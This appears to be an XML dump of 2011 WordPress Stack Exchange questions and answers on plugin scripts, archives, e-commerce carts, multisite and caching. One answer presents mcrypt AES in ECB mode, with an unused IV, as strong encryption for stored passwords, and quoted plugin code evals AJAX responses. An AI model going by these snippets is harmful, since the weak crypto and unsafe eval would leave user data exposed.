  <row Id="25767" PostTypeId="1" AcceptedAnswerId="25769" CreationDate="2011-08-12T18:33:45.463" Score="3" ViewCount="60" Body="&lt;p&gt;I'm trying to load the jQuery UI library into a WordPress plugin using this enqueue statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('jquery');&#xA;wp_enqueue_script('jquery-ui-core');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jQuery library loads fine, but the ui-core is MIA. The only way I can get ui-core functions to fire is to load the library with a static include like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.15/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-12T19:33:31.440" Title="How to include jquery-ui library in WordPress?" Tags="&lt;jquery-ui&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25769" PostTypeId="2" ParentId="25767" CreationDate="2011-08-12T18:47:06.397" Score="2" ViewCount="" Body="&lt;p&gt;jquery is enqueued by default on admin side. So, it may not be loading due to your &lt;code&gt;wp_enqueue_script&lt;/code&gt; statement.&#xA;Are you using &lt;code&gt;wp_enqueue_script&lt;/code&gt; inside some action hook? Because you have to. I use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_enqueue_scripts-options_page-{page}', 'myplugin_admin_scripts' );&#xA;function myplugin_admin_scripts() {&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('jquery-ui-core');&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-12T19:33:31.440" LastActivityDate="2011-08-12T19:33:31.440" CommentCount="2" />
  <row Id="25770" PostTypeId="2" ParentId="25758" CreationDate="2011-08-12T18:56:30.490" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp()&lt;/code&gt; is quite essential function. It resides in &lt;code&gt;functions.php&lt;/code&gt; file (don't confuse with &lt;code&gt;functions.php&lt;/code&gt; in theme, different thing) and I don't think you can load WP without passing &lt;code&gt;require&lt;/code&gt; directive for that file at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your install seems very broken - either &lt;code&gt;functions.php&lt;/code&gt; file in core is damaged or something else is broken and makes it skip loading that file.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-12T18:56:30.490" CommentCount="1" />
  <row Id="25771" PostTypeId="1" CreationDate="2011-08-12T19:03:55.643" Score="0" ViewCount="13" Body="&lt;p&gt;I am trying to make basically an archive list but in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2011 (3)&#xA;  January (2)&#xA;    Some test post here&#xA;    Some test post there&#xA;  February (1)&#xA;    Another test post&#xA;2010 (2)&#xA;  June (1)&#xA;    Test post&#xA;  July (1)&#xA;    Test post #2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found a plugin online that gets really close to what I need (http://wordpress.org/extend/plugins/collapsing-archives/screenshots/), but it's really cluttered and it's hard to edit it to my needs (it's really customizable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything out there that can do the same? Or a way to code this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Alain&lt;/p&gt;&#xA;" OwnerUserId="1983" LastActivityDate="2011-08-12T19:03:55.643" Title="Archive nested list" Tags="&lt;plugins&gt;&lt;archive&gt;&lt;wp-get-archives&gt;" CommentCount="1" />
  <row Id="25772" PostTypeId="2" ParentId="25762" CreationDate="2011-08-12T19:05:25.657" Score="1" ViewCount="" Body="&lt;p&gt;Try...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;posts_orderby&quot;, &quot;my_orderby_filter&quot;, 10, 2);&#xA;&#xA;function my_orderby_filter($orderby, &amp;amp;$query){&#xA;    global $wpdb;&#xA;    //figure out whether you want to change the order&#xA;    if (get_query_var(&quot;post_type&quot;) == &quot;my_post_type&quot;) {&#xA;         return &quot;$wpdb-&amp;gt;posts.post_title ASC&quot;;&#xA;    }&#xA;    return $orderby;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-12T19:05:25.657" CommentCount="1" />
  <row Id="25773" PostTypeId="2" ParentId="25760" CreationDate="2011-08-12T19:09:47.880" Score="1" ViewCount="" Body="&lt;p&gt;If you want to avoid any plugin, there is detailed tutorial available on Wordpress Codex, it will take hardly 20 mins &#xA;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7856" LastActivityDate="2011-08-12T19:09:47.880" />
  <row Id="25774" PostTypeId="2" ParentId="19578" CreationDate="2011-08-12T19:16:39.617" Score="0" ViewCount="" Body="&lt;p&gt;yes there is since 3.0.0 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php get_home_url(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7856" LastActivityDate="2011-08-12T19:16:39.617" />
  <row Id="25775" PostTypeId="1" CreationDate="2011-08-12T20:06:36.813" Score="0" ViewCount="10" Body="&lt;p&gt;I am using the wpDirAuth plugin to Active Directory users into my Buddypress installation. I'm wondering if it is possible to show or hide elements depending on if the current user is an AD user or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like to hide the Change Password fields in the user's settings if they are an AD user but still have them visible if they are not an AD user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7858" LastActivityDate="2011-08-12T20:06:36.813" Title="if/else Active Directory user" Tags="&lt;buddypress&gt;" />
  <row Id="25776" PostTypeId="1" AcceptedAnswerId="26172" CreationDate="2011-08-12T20:24:32.440" Score="0" ViewCount="34" Body="&lt;p&gt;We would want a user to login and be presented with a form that they would potentially have to submit multiple times (disclosures of any industry relationships, one form per disclosure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge is how do we capture and display what has been previously entered by a user when they log back in and give them a chance to delete or edit previous entries without investing in a ton of custom coding because we have a very tight deadline on this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen WordPress do data collection and management in this manner on a per-user basis and if so, which plugins or other add ins were used?&lt;/p&gt;&#xA;" OwnerUserId="6146" LastActivityDate="2011-08-17T19:43:56.403" Title="Allow users to enter and edit data in one-to-many configuration" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;database&gt;&lt;forms&gt;" AnswerCount="2" />
  <row Id="25777" PostTypeId="1" AcceptedAnswerId="25781" CreationDate="2011-08-12T20:30:57.627" Score="0" ViewCount="27" Body="&lt;p&gt;This is less a technical question, and more a ’how would you do it’ question that I’m hoping the more experienced users may have some advice on… (I still think its a valid question for this forum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m creating a Flash application which allows users to upload an image, and then add a product to the shopping basket with that image on it (WPeC plugin is my shopping basket - I'm going to need to add a product to my shopping basket from within the flash application).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is this… many users will upload images, but not all will actually complete the order. When a user orders a product, I need to know which image on my server is their image!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about naming each image uploaded with the users Session Id, then when someone orders a customised product I would &lt;em&gt;somehow&lt;/em&gt; find the session id and match them up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ruled this out because a user might upload 3 or 4 images – each image would have the same Session Id so I wouldn’t be able to tell which image they wanted to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing what I’m trying to do, do you have any advice on how to go about this? Before I even start to work out the technical side of things I’d like to get a plan together of matching images to orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PLEASE HELP IF YOU CAN!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dean&lt;/p&gt;&#xA;" OwnerUserId="5225" LastActivityDate="2011-08-12T21:05:48.580" Title="How to Match Orders to User Sessions in WPeC" Tags="&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;&lt;flash&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25778" PostTypeId="1" CreationDate="2011-08-12T20:39:16.023" Score="0" ViewCount="66" Body="&lt;p&gt;I have built a flash application where a user can customise a product. I currently have an 'add to basket' button within the flash application that doesn't do anything. I'd like it to add a product to the basket when clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing a flash function with event clicks is no problem, but I'm not sure how to connect to the shopping basket and would appreciate any advice on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;appears&lt;/em&gt; to be done in AJAX but I'm not confident in this. Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT AFTER MILO'S COMMENTS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Milo. Once I understand how to invoke the existing &quot;function wpsc_add_to_cart()&quot; I'll try to make it more efficient and implement what you have suggested, but at the moment I'm struggling to invoke the existing one from within flash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've determined the JQuery I need to call from within Flash is the one below, but I don't know how to call it (it doesn't appear to have a function name like I'm used to seeing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Submit the product form using AJAX&#xA;jQuery(&quot;form.product_form&quot;).live('submit', function() {&#xA;    // we cannot submit a file through AJAX, so this needs to return true to submit the form normally if a file formfield is present&#xA;    file_upload_elements = jQuery.makeArray(jQuery('input[type=file]', jQuery(this)));&#xA;    if(file_upload_elements.length &amp;gt; 0) {&#xA;        return true;&#xA;    } else {&#xA;        form_values = jQuery(this).serialize();&#xA;        // Sometimes jQuery returns an object instead of null, using length tells us how many elements are in the object, which is more reliable than comparing the object to null&#xA;        if(jQuery('#fancy_notification').length == 0) {&#xA;            jQuery('div.wpsc_loading_animation',this).css('visibility', 'visible');&#xA;        }&#xA;        jQuery.post( 'index.php?ajax=true', form_values, function(returned_data) {&#xA;            eval(returned_data);&#xA;            jQuery('div.wpsc_loading_animation').css('visibility', 'hidden');&#xA;&#xA;            if(jQuery('#fancy_notification') != null) {&#xA;                jQuery('#loading_animation').css(&quot;display&quot;, 'none');&#xA;            //jQuery('#fancy_notificationimage').css(&quot;display&quot;, 'none');&#xA;            }&#xA;&#xA;        });&#xA;        wpsc_fancy_notification(this);&#xA;        return false;&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to call this JQuery from within Flash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help so far&lt;/p&gt;&#xA;" OwnerUserId="5225" LastEditorUserId="5225" LastEditorDisplayName="" LastEditDate="2011-08-13T23:49:51.660" LastActivityDate="2011-08-13T23:49:51.660" Title="WP-e-Commerce Adding A Product via Flash Button" Tags="&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;&lt;flash&gt;" AnswerCount="1" />
  <row Id="25779" PostTypeId="1" AcceptedAnswerId="25786" CreationDate="2011-08-12T20:59:14.257" Score="0" ViewCount="26" Body="&lt;p&gt;OK I head that WP can now host more sites using one installation. I host my blog on my own computer using MAMP and latest WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find option to create another blog?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-08-12T22:13:19.267" Title="Can I run multiple blogs from my local machine" Tags="&lt;multisite&gt;&lt;local-installation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25780" PostTypeId="2" ParentId="25778" CreationDate="2011-08-12T21:01:44.997" Score="0" ViewCount="" Body="&lt;p&gt;this is a simple function that will add an item to the cart. you could tie this to an ajax call and pass whatever POST vars you want, obviously product id, quantity, etc..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_add_to_cart(){&#xA;&#xA;    global $wpsc_cart;&#xA;    $product_id = 1;&#xA;    $args = array();&#xA;    $args['quantity'] = 1;&#xA;    $args['variation_values'] = null;&#xA;    $args['provided_price'] = null;&#xA;    $args['comment'] = null;&#xA;    $args['time_requested'] = null;&#xA;    $args['custom_message'] = null;&#xA;    $args['file_data'] = null;&#xA;    $args['is_customisable'] = false;&#xA;    $args['meta'] = null;&#xA;    $state = $wpsc_cart-&amp;gt;set_item( $product_id, $args );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-12T21:01:44.997" CommentCount="3" />
  <row Id="25781" PostTypeId="2" ParentId="25777" CreationDate="2011-08-12T21:05:48.580" Score="1" ViewCount="" Body="&lt;p&gt;upload the file and add the item to the cart in one process, passing the filename as extra meta data with the cart item. if they remove the item from the cart, you can delete the file so you don't have abandoned files.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-12T21:05:48.580" CommentCount="1" />
  <row Id="25782" PostTypeId="1" AcceptedAnswerId="25784" CreationDate="2011-08-12T21:10:09.230" Score="0" ViewCount="89" Body="&lt;p&gt;I am considering to develop a new portfolio website in the form of a single page website. I do not know if this is a new concept, but I see it becoming popular for portfolio websites, it is also quite a handy form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to create the about, portfolio, contact on one page, and have a normal blog on another page. So actually there is one single page, and one blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you an example of the single page, here is a link to a tutorial that creates such a single page. But this is just a normal static page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tutorialzine.com/2010/02/html5-css3-website-template/&quot; rel=&quot;nofollow&quot;&gt;http://tutorialzine.com/2010/02/html5-css3-website-template/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now is the best way to go about this to just create a single page, and have all my content displayed there just formatted in one big pile of html.&lt;br&gt;&#xA;Or is there a more elegant solution to do this. Maybe with several custom post types on a single page, or is this not possible or not efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I am pretty new to wordpress, sorry for if this is a stupid Q&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7781" LastActivityDate="2011-08-12T21:42:17.863" Title="Creating the modern 'single page' html5 css3 layout in wordpress" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="25783" PostTypeId="2" ParentId="23042" CreationDate="2011-08-12T21:37:27.390" Score="0" ViewCount="" Body="&lt;p&gt;If you dig into the code of &lt;a href=&quot;http://wordpress.org/extend/plugins/postie&quot; rel=&quot;nofollow&quot;&gt;postie &lt;em&gt;(plugin)&lt;/em&gt;&lt;/a&gt;, you'll probably find your answer.  In particular, see the filter sample files, and then trace backwards from there.  From the FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Can I add special text to the body of the post when using postie?&lt;/strong&gt;,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Yes. You can create your own function, and use the postie_post filter. Two short examples are included in the filterPostie.php.sample file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of note - per &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17147&quot; rel=&quot;nofollow&quot;&gt;this ticket:&lt;/a&gt; post by email is slated to be dropped from WP core and switched over to a plugin, so you might be better-off switching to a plugin-based solution now, rather than building your functionality around the current core post by email functionality. &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-12T21:37:27.390" />
  <row Id="25784" PostTypeId="2" ParentId="25782" CreationDate="2011-08-12T21:42:17.863" Score="1" ViewCount="" Body="&lt;p&gt;here's how I would set things up, not necessarily the correct / best / only way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a home page, blog page, about page, contact page, etc.. as individual pages.&lt;/li&gt;&#xA;&lt;li&gt;create a custom post type for my portfolio items.&lt;/li&gt;&#xA;&lt;li&gt;use posts as the blog posts.&lt;/li&gt;&#xA;&lt;li&gt;set static front page to my home page, blog page as the posts page.&lt;/li&gt;&#xA;&lt;li&gt;create a front-page.php template, this will load whatever content I have in home by default.&lt;/li&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page&quot; rel=&quot;nofollow&quot;&gt;get_page&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;wp_query&lt;/a&gt; to load all of my pages and portfolio items into the template.&lt;/li&gt;&#xA;&lt;li&gt;use a caching plugin to make it all nice and speedy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-12T21:42:17.863" CommentCount="1" />
  <row Id="25785" PostTypeId="2" ParentId="20030" CreationDate="2011-08-12T22:03:51.200" Score="0" ViewCount="" Body="&lt;p&gt;Postie does not currently support posting custom post types by email.  So if you're podcast support uses custom post types, given the lack of response to &lt;a href=&quot;http://wordpress.org/support/topic/custom-post-types-via-postie-or-email&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt; the answer appears to be no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does, however, support posting attachments by email.  If it uses regular post types with a media attachment, or embedded 3rd-party video, then the answer is probably yes, although you may have to create a custom filter to process any custom fields properly.  From the FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Can I select tags or categories based on the content of the e-mail?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Yes. You can create your own function, and use the postie_post filter. See the filterPostie.php.sample file for examples.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;How can I embed youtube or vimeo videos?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Simply put the url in the body of your e-mail. (Make sure that you have the option to convert url into links turned on)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-12T22:03:51.200" />
  <row Id="25786" PostTypeId="2" ParentId="25779" CreationDate="2011-08-12T22:13:19.267" Score="1" ViewCount="" Body="&lt;p&gt;To achieve this simply, make sure your WordPress version is 3.0+.  It is always recommended that you have the latest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to activate the network:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, as you are using a local installation, you won't have the choice to create your network in sub-directories as subdomains won't work.  By reading and following the information in the link above, you'll get what I mean.&lt;/p&gt;&#xA;" OwnerUserId="7559" LastActivityDate="2011-08-12T22:13:19.267" />
  <row Id="25787" PostTypeId="2" ParentId="25722" CreationDate="2011-08-12T22:19:37.540" Score="0" ViewCount="" Body="&lt;p&gt;I would also suggest you change the permalink (like FriendlyWP states) to the 'default' configuration.  If it works, it could be that mod_rewrite module is not enabled in Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this module is not activated by default in WAMP Server. I don't know if you are using it...&lt;/p&gt;&#xA;" OwnerUserId="7559" LastActivityDate="2011-08-12T22:19:37.540" />
  <row Id="25788" PostTypeId="2" ParentId="25705" CreationDate="2011-08-12T22:33:40.313" Score="0" ViewCount="" Body="&lt;p&gt;I suggest you check the plugin &quot;Vote it Up&quot; :&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/vote-it-up/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that this plugin was last tested with WordPress 2.8.  That said, it almost does what you want so you could use the code as an inspiration.&lt;/p&gt;&#xA;" OwnerUserId="7559" LastActivityDate="2011-08-12T22:33:40.313" />
  <row Id="25789" PostTypeId="2" ParentId="19141" CreationDate="2011-08-12T23:45:12.067" Score="0" ViewCount="" Body="&lt;p&gt;Did you ever find out what plugin it was? I looked at the source code and it looks related to the sharebuddy plugin. I have activated Jetpack on my custom wordpress site with no 'Like This' button. I have seen the plugin on non wordpress.com sites. &lt;/p&gt;&#xA;" OwnerUserId="7861" LastEditorUserId="7861" LastEditorDisplayName="" LastEditDate="2011-08-12T23:52:38.340" LastActivityDate="2011-08-12T23:52:38.340" />
  <row Id="25790" PostTypeId="1" CreationDate="2011-08-12T23:49:25.130" Score="0" ViewCount="16" Body="&lt;p&gt;I am currently using the wp_list_pages() function to display a list of links in my footer. I have some top level pages excluded, and the home page does not display. However, when I added subpages to the homepage, they are showing up at the end of the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to use 'exclude_tree' instead of 'exclude' but it didn't seem to work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I am using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_pages('title_li=&amp;amp;exclude=19,2,17,223'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is working great, except pages where the parent is 'Home' are displaying at the end of my list. the Home Page ID is 2, but if I add that to 'exclude' nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed, I have subpages on another excluded Parent page, and they show up in the list as well. changing 'exclude' to 'exclude_tree' seems to show all pages.&lt;/p&gt;&#xA;" OwnerUserId="7862" LastActivityDate="2011-08-12T23:49:25.130" Title="wp_list_pages() and Homepage Subpages" Tags="&lt;homepage&gt;&lt;wp-list-pages&gt;" />
  <row Id="25791" PostTypeId="2" ParentId="25425" CreationDate="2011-08-13T00:16:28.490" Score="3" ViewCount="" Body="&lt;p&gt;There are two 'expires' setting you can configure in W3 Total Cache, one is the static page cache on your server, the other is the browser cache settings that the browser will use to decide whether to use a local cache for a page, or to re-request that page from the server.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;W3 TC should be invalidating the index, category and tags pages on the server cache when you insert or update a new post.  If your archive pages are not automatically generated through the 'normal' wordpress url rewriting -- if, for instance, you have archives that actually live in a custom page-template, W2 TC may not recognize that page as a category archive page, and may not automatically invalidate it.  In this case you can look at adding a post-save action to force-invalidate specific pages.  From the FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How can I flush the cache without using the WP Admin interface?&lt;/strong&gt;&#xA;  It's possible to empty the entire cache or simply purge the cache of a single post / page:&#xA;  Purge the entire page cache: if (function_exists('w3tc_pgcache_flush')) { w3tc_pgcache_flush(); }&#xA;  Purge a single post / page by passing it's ID:&#xA;  if (function_exists('w3tc_pgcache_flush_post')) { w3tc_pgcache_flush_post($post_id); }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Frequently the behavior you describe is the result of the browser respecting the expires tag in the headers as the page is served.  Even though the server side cache was invalidated, the browser doesn't actually request a new page, but uses its locally cached version, based on the http headers for the URL.  The solution, in this case, is to reduce the time to expires for the browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control the length of this on the browser tab of the admin settings panel for W3 TC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-13T00:16:28.490" CommentCount="6" />
  <row Id="25792" PostTypeId="2" ParentId="25062" CreationDate="2011-08-13T00:47:58.623" Score="1" ViewCount="" Body="&lt;p&gt;While I agree with the previous answers, to answer the question you actually asked, what comes to mind is to use one of these constants for wp-config.php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;define('AUTH_KEY',        'redacted');&#xA;define('SECURE_AUTH_KEY', 'redacted');&#xA;define('LOGGED_IN_KEY',   'redacted');&#xA;define('NONCE_KEY',       'redacted');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are meant to be unique across wordpress installations - and are about the only options for pre-existing keys to be found in wordpress.  Alternate would be to add your own similar constant that is built by hashing one of them against the admin email address or similar - and then storing that in a hidden setting option -- to protect against losing your key if someone accidentally modifies the keys after your plugin is installed.  The danger is, that if they were not made unique on the initial install, but the admin / site owner decides to rectify the failure after the fact, they shouldn't accidentally break your password encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for encryption / decryption functions - a quick Google search returns the following listing with code that appears to fit the bill: &lt;a href=&quot;http://maxvergelli.wordpress.com/2010/02/17/easy-to-use-and-strong-encryption-decryption-php-functions/&quot; rel=&quot;nofollow&quot;&gt;http://maxvergelli.wordpress.com/2010/02/17/easy-to-use-and-strong-encryption-decryption-php-functions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;function encrypt($input_string, $key){&#xA;    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);&#xA;    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);&#xA;    $h_key = hash('sha256', $key, TRUE);&#xA;    return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $h_key, $input_string, MCRYPT_MODE_ECB, $iv));&#xA;}&#xA;&#xA;function decrypt($encrypted_input_string, $key){&#xA;    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);&#xA;    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);&#xA;    $h_key = hash('sha256', $key, TRUE);&#xA;    return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h_key, base64_decode($encrypted_input_string), MCRYPT_MODE_ECB, $iv));&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's some documentation of the AES encryption used here: &lt;a href=&quot;http://www.chilkatsoft.com/p/php_aes.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.chilkatsoft.com/p/php_aes.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-13T00:47:58.623" />
  <row Id="25793" PostTypeId="1" CreationDate="2011-08-13T02:38:37.303" Score="0" ViewCount="28" Body="&lt;p&gt;I created a plugin using custom post types. I need to force the default 2 column post page to a single column. At the same time, the &quot;Publish&quot; metabox must move to the bottom. I need to do this via the functions somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've some solutions even on here, but the only solution I've found actually hides the &quot;Publish&quot; metabox. I can't seen to figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of how to do this?&lt;/p&gt;&#xA;" OwnerUserId="7863" LastActivityDate="2011-08-13T15:14:54.260" Title="Force 1 Column Layout on Custom Post Type Edit page" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;&lt;metabox&gt;&lt;type&gt;" AnswerCount="1" />
  <row Id="25794" PostTypeId="2" ParentId="25776" CreationDate="2011-08-13T02:44:53.070" Score="0" ViewCount="" Body="&lt;p&gt;You can just alter the default user profile fields and add/remove whatever you want or use a plugin that does so. Alternatively you can use plugin like gravity forms or wufoo.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-13T02:44:53.070" CommentCount="1" />
  <row Id="25796" PostTypeId="1" CreationDate="2011-08-13T03:10:02.250" Score="0" ViewCount="20" Body="&lt;p&gt;Is it possible to have a permalink take on the form of a subdomain in Wordpress? For example, assume a post called &quot;Test Post&quot; was created on &quot;mydomain.com&quot;. The URL would be &quot;test.post.mydomain.com&quot; or &quot;testpost.mydomain.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you use mod_rewrite or .htaccess to do this with Apache? Obviously, you'd need a wildcard setup in DNS as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? Any help is appreciated. Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="5630" LastActivityDate="2011-08-13T03:10:02.250" Title="Wordpress Permalinks as a Subdomain" Tags="&lt;permalinks&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;subdomains&gt;" />
  <row Id="25797" PostTypeId="1" CreationDate="2011-08-13T04:48:32.867" Score="0" ViewCount="10" Body="&lt;p&gt;I was planning on creating a custom &quot;Archives&quot; template to create a detailed Archives page for my blog, including lists of posts by category, tag, date and author. Rather than use a static link though, is there a way within WordPress to get a link to a specific template file? I want the link to work regardless of the page's URL—is this possible? &lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-13T04:48:32.867" Title="Get link to a specific template file" Tags="&lt;template&gt;&lt;archive&gt;&lt;page-template&gt;&lt;links&gt;" />
